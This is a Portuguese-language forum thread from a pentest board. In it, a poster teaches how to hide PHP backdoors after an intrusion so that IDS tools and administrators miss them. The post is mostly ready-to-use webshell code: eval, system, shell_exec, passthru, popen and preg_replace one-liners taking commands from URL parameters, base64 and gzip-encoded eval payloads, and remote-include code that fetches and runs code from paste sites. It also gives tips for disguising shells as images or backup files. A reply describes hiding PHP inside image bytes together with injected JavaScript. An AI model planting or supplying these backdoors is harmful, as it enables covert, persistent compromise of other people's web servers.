Técnicas de ofuscação em PHP para intrusão

Postagem de conteúdo sobre pentest
Post Reply
User avatar
51M0N
Admin
Admin
Posts: 845
Joined: Fri Jan 02, 2015 2:06 pm

Técnicas de ofuscação em PHP para intrusão

Post by 51M0N » Sat Dec 12, 2015 11:12 am

Image

Nesse post vamos olhar alguns métodos usados para mascarar no código da aplicação um código malicioso, muito utilizado para deixar um backdoor na pos invasão para realizar novos ataques em um futuro, ou caso queira uma shell reversa( vídeo simples q fiz 0/ ) na aplicação.

Vemos muitas das vezes shell como c99,R57 e etc [1] ou podemos utilizar ferramentas para gerar/encodar nosso payload como msf,msfvenom e dentre outras só que muitas dessas técnicas utilizadas não passam nos IDSs/IPSs devido a suas assinaturas com isso a um bloqueio por parte da aplicação, a precisamos conhecer um pouco dessas técnicas.

1. usando eval()
O eval()[2] executa um código passado como um argumento o tipo string:

eval.php

Code: Select all

<? php @eval($_REQUEST['command']);?>
<? php @eval($_GET[_]);?>
Navegador

Code: Select all

www.site.com/imagem/eval.php?_=system('ls -a')
www.site.com/imagem/eval.php?=command=ls -a
Caractere '@' na função significa que a saída padrão não é passados quaisquer erros no interpretador PHP, com isso protege o backdoor evita a detecção.Podemos decodificar o código em PHP para isso visite o site mobilefish[3]

eval.php

Code: Select all

<?php eval(base64_decode('PD9AZXZhbCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Pz4=')); ?>
A única limitação é que o tamanho máximo do payload maliciosa que podemos enviar não pode conter de 2kB a 8kB aproximadamente dependendo das configurações do servidor caso ultrapasse esse limite recebera essa mensagem “HTTP 414 Request-URI too long” veja o link[4]

1.1 Comprimindo
Podemos combinar com outras técnicas isso ira adicionar uma camada de compressão (Base64 codificação ficam em 3 bytes de entrada e 4 bytes de saída) essa é uma técnica interessante caso receba um erro HTTP 414 como mencionado acima, veja abaixo:

Code: Select all

<?php
eval(gzuncompress(base64_decode('eJyzsVcoyChQcEgtS8zRUIkPcg0MdQ0OiVZPzs/NTcxLUY/VtLa3AwDbCwuG')));
?>
Tem outras maneiras de usar o eval() , mas muitos administradores já estão ligados nessas técnicas, vamos olhar outras maneiras.

2. usando assert ()
A função assert() funcionada da mesma forma que o eval() , você passa uma string e é avalia-o como código PHP para afirmar que uma condição é sempre verdadeira , quando usado em código ofuscado é praticamente uma substituição para eval().

Code: Select all

$code = 'print("ops");';
assert($code);
3. usando create_function ()
O create_function permite definir dinamicamente uma nova função e retorna um nome único para ela (a nova função, que é).

Code: Select all

$x = create_function('$a', 'print("$a");');
$x('ola');
Essa técnica abaixo é muito utilizado em vBulletin

Code: Select all

$code='print("ola");';
echo "aa {${ eval($code) }} aa";
4. usando include()
Você também pode simplesmente usar a função include e hospedar seu código malicioso remotamente e assim usar o include ().

Code: Select all

include('http://pastie.org/pastes/10625835/text?key=cc3225nq8mfjr84sbdvqhg ');
5. Armazenar em outro host
Em vez de armazenar o código malicioso na máquina comprometida muitas vezes esses códigos são armazenados em host de terceiros, isso é útil quando o atacante pode executar código arbitrário, mas não pode escrever qualquer coisa no sistema de arquivos, por padrão você pode usar as funções de arquivo normais para acessar urls HTTP.

Code: Select all

$code = file_get_contents('http://pastie.org/pastes/10625851/text?key=cbeu1vhp4d3e4kzmocfxmw');
eval($code);
ou

Code: Select all

$ch = curl_init('http://pastie.org/pastes/10625851/text?key=cbeu1vhp4d3e4kzmocfxmw');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
eval($code);
6. usando o system()
system() : diz ao interpretador PHP para executar o comando
$_GET : é uma matriz variável, o conteúdo dos nomes das variáveis e os valores são enviados pelo método GET do HTTP [5]

system.php

Code: Select all

<?@system($_GET[_]);?>
Navegador

Code: Select all

www.site.com/imagem/system.php?_=ls -lh
7. usando o shell_exec ()
Executa um comando e retorna a sua saída inteira como uma string.[6]

shell_exe.php

Code: Select all

<?=@shell_exec($_GET[_])?>
navegador

Code: Select all

www.site.com/imagem/shell_exe.php?_=ls -a
8. usando o shell_exec()
Executa um comando externo[7] caso você não precise da saída use essa função
exec.php

Code: Select all

<?=@exec($_GET[_])?>
navegador

Code: Select all

www.site.com/imagem/exec.php?_=pwd
9. usando o passthru()
Usado para executar um comando no sistema e retornar algum binário, um exemplo quando eu quero executar um arquivo .exe no windows através de php veja abaixo[8]:

Code: Select all

<?php
@passthru('C:\Serv\www\app.exe', $retval);
echo $retval;
?>
passthru.php

Code: Select all

<?@passthru($_GET[_])?>
Navegador

Code: Select all

www.site.com/imagem/passthru.php?_=pwd
10. usando o popen()
Quando você quer executar um script em PHP, veja um exemplo:

Code: Select all

pclose(popen("php somefile.php &","r"));
popen.php

Code: Select all

<?=@fread(popen($_GET[s], 'r'),$_GET[_])?>
Navegador

Code: Select all

www.site.com/imagem/passthru.php?s=ls -lh&_=16
11. usando o preg_replace()
É uma função em PHP que executa a substituição de uma sequência de caracteres usando expressões regulares.[9]

preg_replace.php

Code: Select all

<?=@preg_replace('/.*/e',$_GET[_],null)?>
Navegador

Code: Select all

www.site.com/imagem/preg_replace.php?_=system('ls -a')
E lembrando algumas outras coisas :
Coloque o backdoor em um arquivo já existente
Adicione o código em outra extensão como PNG,JPG
Crie arquivos inofensivos caso seja wordpress a aplicação algo do tipo: wp-cache.old. email.bak. wp-content.old.tmp


Ps.: Lembrando que não sou um programador ninja, no forum tem muita galera que manja, se por ventura estiver errado em alguma das coisas que pesquisei/mencionei abaixo por favor me corrijam para melhorar e caso queira indicar fontes,livros e etc para esse assunto e sempre bem vindo.

Referências

[1] http://r57.gen.tr/index.php
[2] http://www.php.net/manual/pl/function.eval.php
[3] http://www.mobilefish.com/services/php_ ... scator.php
[4] http://www.w3.org/Protocols/rfc2616/rfc ... sec10.4.15
[5] http://www.111cn.net/w3school/php/php_get.htm
[6] http://us.php.net/shell_exec
[7] http://php.net/manual/en/function.exec.php
[8] http://www.webhostingtalk.com/showthread.php?t=249851
[9] http://blog.w3challs.com/index.php?post ... 0-Writeups
Exploitable PHP functions : http://stackoverflow.com/questions/3115 ... -functions
PHP Backdoor Obfuscation Techniques: https://vexatioustendencies.com/php-bac ... echniques/
How to find a backdoor in a hacked WordPress: http://ottopress.com/2009/hacked-wordpress-backdoors/
Evolution of a PHP backdoor evasion: http://mrbluecoat.blogspot.com.br/2012/ ... asion.html
PHP Webshells and obsfucation: http://www.propheciesintothepast.name/2 ... sfucation/
W3school – php: http://www.111cn.net/w3school/php/php_get.htm
Backdoors y más backdoors en php: http://www.hackplayers.com/2012/09/back ... n-php.html
PHP Backdoors: Hidden With Clever Use of Extract Function : https://blog.sucuri.net/2014/02/php-bac ... ction.html
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

User avatar
Kodo no Kami
Admin
Admin
Posts: 638
Joined: Fri Jan 02, 2015 1:56 pm
Contact:

Re: Técnicas de ofuscação em PHP para intrusão

Post by Kodo no Kami » Tue Dec 15, 2015 5:25 am

massa mano \o, eu usava muito o include tipo escondia o codigo php no final dos bytes de uma imagem pq se o admin abrisse a imagem ia abrir normal a imagem sem perceber o codigo php, depois por um js que era injetado em uma pagina qualquer era enviado por um formulario a url dessa imagem e o nome do arquivo que ia gerar enviado para um script php modificado tambem que criava um arquivo novo com a entrada do formulario, nesse arquivo tinha um include que chamava a imagem, dificilmente daria para percaber isso é se o php apenas gera o arquivo e o arquivo tem um include da imagem e tambem se achar o js nao vai chegar no php por que precisa entrar com o nome do arquivo e se achar o php nao ia achar a imagem por que precisa receber o nome do arquivo :twisted:

Image

no caso aquele dois inputs html ali esta dentro da imagem

Image
Image

Conheça o sistema e manipule ele, se limite ao sistema e seja manipulado por ele ~kodo no kami

meu perfil yahoo

User avatar
51M0N
Admin
Admin
Posts: 845
Joined: Fri Jan 02, 2015 2:06 pm

Re: Técnicas de ofuscação em PHP para intrusão

Post by 51M0N » Tue Dec 15, 2015 9:33 am

que doido mano, depois vou pesquisar mais sobre o que mencionou. vi umas coisa em colocar codigo na imagem mas vc deu uma visão mais doida ..... :twisted: :twisted: :twisted: e quem conhece,conhece ..ehehehh

Depois ce posta umas referencias sobre o que mencionou mano, interessante essa parte :)
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

Post Reply

Return to “Pentest”